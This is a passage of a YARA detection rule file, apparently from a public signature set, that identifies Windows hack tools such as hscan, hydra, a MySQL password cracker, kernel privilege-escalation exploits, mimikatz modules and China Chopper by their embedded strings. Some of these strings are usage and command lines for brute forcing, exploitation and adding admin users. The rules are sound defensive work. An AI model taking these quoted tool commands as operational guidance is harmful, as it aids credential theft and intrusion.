		$s4 = "%c Active/Maximum host thread: %d/%d, Current/Maximum thread: %d/%d, Time(s): %l" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule CN_Tools_hscan
{
	meta:
		description = "Chinese Hacktool Set - file hscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
		id = "82d9cd61-8cef-56b4-8dfe-a28edaa781b8"

	strings:
		$s1 = "%s -f hosts.txt -port -ipc -pop -max 300,20 -time 10000" fullword ascii
		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,20" fullword ascii
		$s3 = "%s -h www.target.com -all" fullword ascii
		$s4 = ".\\report\\%s-%s.html" fullword ascii
		$s5 = ".\\log\\Hscan.log" fullword ascii
		$s6 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
		$s7 = "%s@ftpscan#FTP Account:  %s/[null]" fullword ascii
		$s8 = ".\\conf\\mysql_pass.dic" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule GoodToolset_pr
{
	meta:
		description = "Chinese Hacktool Set - file pr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "f6676daf3292cff59ef15ed109c2d408369e8ac8"
		id = "d00e1873-f2a5-5e89-9223-ead418e2667c"

	strings:
		$s1 = "-->Got WMI process Pid: %d " ascii
		$s2 = "-->This exploit gives you a Local System shell " ascii
		$s3 = "wmiprvse.exe" fullword ascii
		$s4 = "Try the first %d time" fullword ascii
		$s5 = "-->Build&&Change By p " ascii
		$s6 = "root\\MicrosoftIISv2" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule hydra_7_4_1_hydra
{
	meta:
		description = "Chinese Hacktool Set - file hydra.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "3411d0380a1c1ebf58a454765f94d4f1dd714b5b"
		id = "cf692bea-091d-5be0-a012-caba01e96dde"

	strings:
		$s1 = "%d of %d target%s%scompleted, %lu valid password%s found" fullword ascii
		$s2 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
		$s3 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
		$s4 = "[%d][smb] Host: %s Account: %s Error: PASSWORD EXPIRED" fullword ascii
		$s5 = "[ERROR] SMTP LOGIN AUTH, either this auth is disabled" fullword ascii
		$s6 = "\"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them
}

rule CN_Tools_srss_2
{
	meta:
		description = "Chinese Hacktool Set - file srss.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "c418b30d004051bbf1b2d3be426936b95b5fea6f"
		id = "3a84fa58-ccd0-5cf0-b1e0-a8f2ca04fd3f"

	strings:
		$x1 = "used pepack!" fullword ascii
		$s1 = "KERNEL32.dll" fullword ascii
		$s2 = "KERNEL32.DLL" fullword ascii
		$s3 = "LoadLibraryA" fullword ascii
		$s4 = "GetProcAddress" fullword ascii
		$s5 = "VirtualProtect" fullword ascii
		$s6 = "VirtualAlloc" fullword ascii
		$s7 = "VirtualFree" fullword ascii
		$s8 = "ExitProcess" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( $x1 at 0 ) and filesize < 14KB and all of ( $s* )
}

rule Dos_NtGod
{
	meta:
		description = "Chinese Hacktool Set - file NtGod.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "adefd901d6bbd8437116f0170b9c28a76d4a87bf"
		id = "c2f0733d-5519-5cb8-b077-0ae8472400b4"

	strings:
		$s0 = "\\temp\\NtGodMode.exe" ascii
		$s4 = "NtGodMode.exe" fullword ascii
		$s10 = "ntgod.bat" fullword ascii
		$s19 = "sfxcmd" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and all of them
}

rule CN_Tools_VNCLink
{
	meta:
		description = "Chinese Hacktool Set - file VNCLink.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "cafb531822cbc0cfebbea864489eebba48081aa1"
		id = "270dc14c-ac8f-58c2-b4ac-c10981e20a07"

	strings:
		$s1 = "C:\\temp\\vncviewer4.log" fullword ascii
		$s2 = "[BL4CK] Patched by redsand || http://blacksecurity.org" fullword ascii
		$s3 = "fake release extendedVkey 0x%x, keysym 0x%x" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 580KB and 2 of them
}

rule tools_NTCmd
{
	meta:
		description = "Chinese Hacktool Set - file NTCmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a3ae8659b9a673aa346a60844208b371f7c05e3c"
		id = "db3f28d6-dfe8-5c79-a11b-e31701e250d7"

	strings:
		$s1 = "pipecmd \\\\%s -U:%s -P:\"\" %s" fullword ascii
		$s2 = "[Usage]:  %s <HostName|IP> <Username> <Password>" fullword ascii
		$s3 = "pipecmd \\\\%s -U:%s -P:%s %s" fullword ascii
		$s4 = "============By uhhuhy (Feb 18,2003) - http://www.cnhonker.net============" fullword ascii
		$s5 = "=======================NTcmd v0.11 for HScan v1.20=======================" fullword ascii
		$s6 = "NTcmd>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 80KB and 2 of them
}

rule mysql_pwd_crack
{
	meta:
		description = "Chinese Hacktool Set - file mysql_pwd_crack.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "57d1cb4d404688804a8c3755b464a6e6248d1c73"
		id = "3ddeb1c7-e124-5e9e-abcf-3856e0561165"

	strings:
		$s1 = "mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt" fullword ascii
		$s2 = "Successfully --> username %s password %s " fullword ascii
		$s3 = "zhouzhen@gmail.com http://zhouzhen.eviloctal.org" fullword ascii
		$s4 = "-a automode  automatic crack the mysql password " fullword ascii
		$s5 = "mysql_pwd_crack 127.0.0.1 -x 3306 -a" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them
}

rule CmdShell64
{
	meta:
		description = "Chinese Hacktool Set - file CmdShell64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5b92510475d95ae5e7cd6ec4c89852e8af34acf1"
		id = "f4d69be7-f717-53f7-873e-86acbb309106"

	strings:
		$s1 = "C:\\Windows\\System32\\JAVASYS.EXE" fullword wide
		$s2 = "ServiceCmdShell" fullword ascii
		$s3 = "<!-- If your application is designed to work with Windows 8.1, uncomment the fol" ascii
		$s4 = "ServiceSystemShell" fullword wide
		$s5 = "[Root@CmdShell ~]#" fullword wide
		$s6 = "Hello Man 2015 !" fullword wide
		$s7 = "CmdShell" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 4 of them
}

rule Ms_Viru_v
{
	meta:
		description = "Chinese Hacktool Set - file v.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "ecf4ba6d1344f2f3114d52859addee8b0770ed0d"
		id = "88a01e7a-8210-5e0c-a9b8-b7c9b991e16b"

	strings:
		$s1 = "c:\\windows\\system32\\command.com /c " fullword ascii
		$s2 = "Easy Usage Version -- Edited By: racle@tian6.com" fullword ascii
		$s3 = "OH,Sry.Too long command." fullword ascii
		$s4 = "Success! Commander." fullword ascii
		$s5 = "Hey,how can racle work without ur command ?" fullword ascii
		$s6 = "The exploit thread was unable to map the virtual 8086 address space" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 3 of them
}

rule CN_Tools_Vscan
{
	meta:
		description = "Chinese Hacktool Set - file Vscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "0365fe05e2de0f327dfaa8cd0d988dbb7b379612"
		id = "2d73d9c9-62cd-592f-a44e-0a0456c85a3c"

	strings:
		$s1 = "[+] Usage: VNC_bypauth <target> <scantype> <option>" fullword ascii
		$s2 = "========RealVNC <= 4.1.1 Bypass Authentication Scanner=======" fullword ascii
		$s3 = "[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations" fullword ascii
		$s4 = "VNC_bypauth -i 192.168.0.1,192.168.0.2,192.168.0.3,..." fullword ascii
		$s5 = "-vn:%-15s:%-7d  connection closed" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and 2 of them
}

rule Dos_iis
{
	meta:
		description = "Chinese Hacktool Set - file iis.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "61ffd2cbec5462766c6f1c44bd44eeaed4f3d2c7"
		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"

	strings:
		$s1 = "comspec" fullword ascii
		$s2 = "program terming" fullword ascii
		$s3 = "WinSta0\\Defau" fullword ascii
		$s4 = "* FROM IIsWebInfo" ascii
		$s5 = "www.icehack." ascii
		$s6 = "wmiprvse.exe" fullword ascii
		$s7 = "Pid: %d" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 70KB and all of them
}

rule IISPutScannesr
{
	meta:
		description = "Chinese Hacktool Set - file IISPutScannesr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "2dd8fee20df47fd4eed5a354817ce837752f6ae9"
		id = "c5d358e8-955f-5b96-89e7-eb0b6c4d0af0"

	strings:
		$s1 = "yoda & M.o.D." ascii
		$s2 = "-> come.to/f2f **************" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule HKTL_Unknown_CN_Generate
{
	meta:
		description = "Chinese Hacktool Set - file Generate.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2022-01-20"
		hash = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
		id = "88ad2c71-519f-58b0-87f8-a6f54a54a774"

	strings:
		$s1 = "C:\\TEMP\\" ascii
		$s2 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
		$s3 = "$530 Please login with USER and PASS." fullword ascii
		$s4 = "_Shell.exe" fullword ascii
		$s5 = "ftpcWaitingPassword" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 3 of them
}

rule Pc_rejoice
{
	meta:
		description = "Chinese Hacktool Set - file rejoice.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
		id = "197b5a21-e1ed-5ea8-b7f2-e84684aedc54"

	strings:
		$s1 = "@members.3322.net/dyndns/update?system=dyndns&hostname=" fullword ascii
		$s2 = "http://www.xxx.com/xxx.exe" fullword ascii
		$s3 = "@ddns.oray.com/ph/update?hostname=" fullword ascii
		$s4 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
		$s5 = "ListViewProcessListColumnClick!" fullword ascii
		$s6 = "http://iframe.ip138.com/ic.asp" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 3 of them
}

rule ms11080_withcmd
{
	meta:
		description = "Chinese Hacktool Set - file ms11080_withcmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2022-12-21"
		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
		id = "fa5002ac-d6e6-543f-8020-43dfae689b3b"

	strings:
		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
		$s2 = "\\ms11080\\ms11080\\Debug\\ms11080.pdb" ascii
		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
		$s4 = "[>] create porcess error" fullword ascii
		$s5 = "[>] ms11-080 Exploit" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them
}

rule OtherTools_xiaoa
{
	meta:
		description = "Chinese Hacktool Set - file xiaoa.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6988acb738e78d582e3614f83993628cf92ae26d"
		id = "a456d373-2063-5264-8cf4-d0a5918392fc"

	strings:
		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
		$s2 = "The shell \"cmd\" success!" fullword ascii
		$s3 = "Not Windows NT family OS." fullword ascii
		$s4 = "Unable to get kernel base address." fullword ascii
		$s5 = "run \"%s\" failed,code: %d" fullword ascii
		$s6 = "Windows Kernel Local Privilege Exploit " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule unknown2
{
	meta:
		description = "Chinese Hacktool Set - file unknown2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "32508d75c3d95e045ddc82cb829281a288bd5aa3"
		id = "af7ddcbf-1cba-51a9-b435-9a267320f502"

	strings:
		$s1 = "http://md5.com.cn/index.php/md5reverse/index/md/" wide
		$s2 = "http://www.md5decrypter.co.uk/feed/api.aspx?" wide
		$s3 = "http://www.md5.com.cn" fullword wide
		$s4 = "1.5.exe" fullword wide
		$s5 = "\\Set.ini" wide
		$s6 = "OpenFileDialog1" fullword wide
		$s7 = " (*.txt)|*.txt" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 4 of them
}

rule hydra_7_3_hydra
{
	meta:
		description = "Chinese Hacktool Set - file hydra.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "2f82b8bf1159e43427880d70bcd116dc9e8026ad"
		id = "70e9a5bf-ce2d-58ab-8bdc-257e2aa5e917"

	strings:
		$s1 = "[ATTEMPT-ERROR] target %s - login \"%s\" - pass \"%s\" - child %d - %lu of %lu" fullword ascii
		$s2 = "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=))(COMMAND=reload)(PASSWORD=%s)(SERVICE" ascii
		$s3 = "cn=^USER^,cn=users,dc=foo,dc=bar,dc=com for domain foo.bar.com" fullword ascii
		$s4 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
		$s5 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of them
}

rule OracleScan
{
	meta:
		description = "Chinese Hacktool Set - file OracleScan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "10ff7faf72fe6da8f05526367b3522a2408999ec"
		id = "142c0ed1-0752-54c3-9a4b-68e656c32939"

	strings:
		$s1 = "MYBLOG:HTTP://HI.BAIDU.COM/0X24Q" fullword ascii
		$s2 = "\\Borland\\Delphi\\RTL" ascii
		$s3 = "USER_NAME" ascii
		$s4 = "FROMWWHERE" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule SQLTools
{
	meta:
		description = "Chinese Hacktool Set - file SQLTools.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "38a9caa2079afa2c8d7327e7762f7ed9a69056f7"
		id = "bddb7956-abc1-58b6-8a6d-eb482be99f42"

	strings:
		$s1 = "DBN_POST" fullword wide
		$s2 = "LOADER ERROR" fullword ascii
		$s3 = "www.1285.net" fullword wide
		$s4 = "TUPFILEFORM" fullword wide
		$s5 = "DBN_DELETE" fullword wide
		$s6 = "DBINSERT" fullword wide
		$s7 = "Copyright (C) Kibosoft Corp. 2001-2006" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2350KB and all of them
}

rule HKTL_Portscanner_533_NET_Jun15
{
	meta:
		description = "Chinese Hacktool Set - file portscanner.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		old_rule_name = "portscanner"
		date = "2015-06-13"
		hash = "1de367d503fdaaeee30e8ad7c100dd1e320858a4"
		id = "c834203d-6d4d-5242-9b1e-b64fa6560ccd"

	strings:
		$s0 = "PortListfNo" fullword ascii
		$s1 = ".533.net" fullword ascii
		$s2 = "CRTDLL.DLL" fullword ascii
		$s3 = "exitfc" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 25KB and all of them
}

rule kappfree
{
	meta:
		description = "Chinese Hacktool Set - file kappfree.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "e57e79f190f8a24ca911e6c7e008743480c08553"
		id = "eb9c1324-5d82-57ab-bd48-98c984b45b32"

	strings:
		$s1 = "Bienvenue dans un processus distant" fullword wide
		$s2 = "kappfree.dll" fullword ascii
		$s3 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule Smartniff
{
	meta:
		description = "Chinese Hacktool Set - file Smartniff.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "67609f21d54a57955d8fe6d48bc471f328748d0a"
		id = "3d169126-1b43-5545-a106-7c38a6a49499"

	strings:
		$s1 = "smsniff.exe" fullword wide
		$s2 = "support@nirsoft.net0" fullword ascii
		$s3 = "</requestedPrivileges></security></trustInfo></assembly>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule ChinaChopper_caidao
{
	meta:
		description = "Chinese Hacktool Set - file caidao.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "056a60ec1f6a8959bfc43254d97527b003ae5edb"
		id = "c56eb3e5-e916-535b-bf87-88a9ae94c359"

	strings:
		$s1 = "Pass,Config,n{)" fullword ascii
		$s2 = "phMYSQLZ" fullword ascii
		$s3 = "\\DHLP\\." ascii
		$s4 = "\\dhlp\\." ascii
		$s5 = "SHAutoComple" fullword ascii
		$s6 = "MainFrame" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1077KB and all of them
}

rule KiwiTaskmgr_2
{
	meta:
		description = "Chinese Hacktool Set - file KiwiTaskmgr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
		id = "ea021257-8ced-5131-a00a-be014b4112fb"

	strings:
		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
		$s2 = "Kiwi Taskmgr no-gpo" fullword wide
		$s3 = "KiwiAndTaskMgr" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule kappfree_2
{
	meta:
		description = "Chinese Hacktool Set - file kappfree.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5d578df9a71670aa832d1cd63379e6162564fb6b"
		id = "6c7b4a99-b5ab-5fd6-b130-7c30b84b7171"

	strings:
		$s1 = "kappfree.dll" fullword ascii
		$s2 = "kappfree de mimikatz pour Windows (anti AppLocker)" fullword wide
		$s3 = "' introuvable !" fullword wide
		$s4 = "kiwi\\mimikatz" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them
}

rule x_way2_5_sqlcmd
{
	meta:
		description = "Chinese Hacktool Set - file sqlcmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5152a57e3638418b0d97a42db1c0fc2f893a2794"
		id = "c6b4dae2-38cb-5cf9-b980-df5ebefbe7ad"

	strings:
		$s1 = "LOADER ERROR" fullword ascii
		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
		$s3 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
		$s4 = "kernel32.dll" fullword ascii
		$s5 = "VirtualAlloc" fullword ascii
		$s6 = "VirtualFree" fullword ascii
		$s7 = "VirtualProtect" fullword ascii
		$s8 = "ExitProcess" fullword ascii
		$s9 = "user32.dll" fullword ascii
		$s16 = "MessageBoxA" fullword ascii
		$s10 = "wsprintfA" fullword ascii
		$s11 = "kernel32.dll" fullword ascii
		$s12 = "GetProcAddress" fullword ascii
		$s13 = "GetModuleHandleA" fullword ascii
		$s14 = "LoadLibraryA" fullword ascii
		$s15 = "odbc32.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 23KB and filesize > 20KB and all of them
}

rule Win32_klock
{
	meta:
		description = "Chinese Hacktool Set - file klock.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "7addce4434670927c4efaa560524680ba2871d17"
		id = "dd17a8e2-54af-5967-937a-d83feceab891"

	strings:
		$s1 = "klock.dll" fullword ascii
		$s2 = "Erreur : impossible de basculer le bureau ; SwitchDesktop : " fullword wide
		$s3 = "klock de mimikatz pour Windows" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and all of them
}

rule ipsearcher
{
	meta:
		description = "Chinese Hacktool Set - file ipsearcher.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2022-12-21"
		hash = "1e96e9c5c56fcbea94d26ce0b3f1548b224a4791"
		id = "bb33535a-e8cc-545d-bee8-3c31902eedb9"

	strings:
		$s0 = "http://www.wzpg.com" fullword ascii
		$s1 = "ipsearcher\\ipsearcher\\Release\\ipsearcher.pdb" ascii
		$s3 = "_GetAddress" fullword ascii
		$s5 = "ipsearcher.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 140KB and all of them
}

rule ms10048_x64
{
	meta:
		description = "Chinese Hacktool Set - file ms10048-x64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
		id = "8c9bcf72-1bc7-57ed-9e0b-09d113a8c704"

	strings:
		$s1 = "The target is most likely patched." fullword ascii
		$s2 = "Dojibiron by Ronald Huizer, (c) master#h4cker.us  " fullword ascii
		$s3 = "[ ] Creating evil window" fullword ascii
		$s4 = "[+] Set to %d exploit half succeeded" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and 1 of them
}

rule hscangui
{
	meta:
		description = "Chinese Hacktool Set - file hscangui.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "af8aced0a78e1181f4c307c78402481a589f8d07"
		id = "f0993510-70ee-52c6-a7b8-e023eb4b33ee"

	strings:
		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
		$s2 = "http://www.cnhonker.com" fullword ascii
		$s3 = "%s@ftpscan#Cracked account:  %s/%s" fullword ascii
		$s4 = "[%s]: Found \"FTP account: %s/%s\" !!!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 220KB and 2 of them
}

rule GoodToolset_ms11080
{
	meta:
		description = "Chinese Hacktool Set - file ms11080.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2022-12-21"
		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
		id = "080e04a3-5cbe-57a8-9106-539451922cb4"

	strings:
		$s1 = "[*] command add user 90sec 90sec" fullword ascii
		$s2 = "\\ms11080\\Debug\\ms11080.pdb" ascii
		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
		$s4 = "[*] Add to Administrators success" fullword ascii
		$s5 = "[*] User has been successfully added" fullword ascii
		$s6 = "[>] ms11-08 Exploit" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 240KB and 2 of them
}

rule epathobj_exp64
{
	meta:
		description = "Chinese Hacktool Set - file epathobj_exp64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2022-12-21"
		hash = "09195ba4e25ccce35c188657957c0f2c6a61d083"
		id = "cb56bbdc-8afa-5b4b-b7df-942dd3d60366"

	strings:
		$s1 = "Watchdog thread %d waiting on Mutex" fullword ascii
		$s2 = "Exploit ok run command" fullword ascii
		$s3 = "\\epathobj_exp\\x64\\Release\\epathobj_exp.pdb" ascii
		$s4 = "Alllocated userspace PATHRECORD () %p" fullword ascii
		$s5 = "Mutex object did not timeout, list not patched" fullword ascii
		$s6 = "- inconsistent onexit begin-end variables" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and 2 of them
}

rule kelloworld_2
{
	meta:
		description = "Chinese Hacktool Set - file kelloworld.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
		id = "3f298004-e618-5f4a-9cd7-c7c954b6fc64"

	strings:
		$s1 = "Hello World!" fullword wide
		$s2 = "kelloworld.dll" fullword ascii
		$s3 = "kelloworld de mimikatz pour Windows" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule HScan_v1_20_hscan
{
	meta:
		description = "Chinese Hacktool Set - file hscan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
		id = "4183824c-b77f-5500-a962-8d9dc78a9388"

	strings:
		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
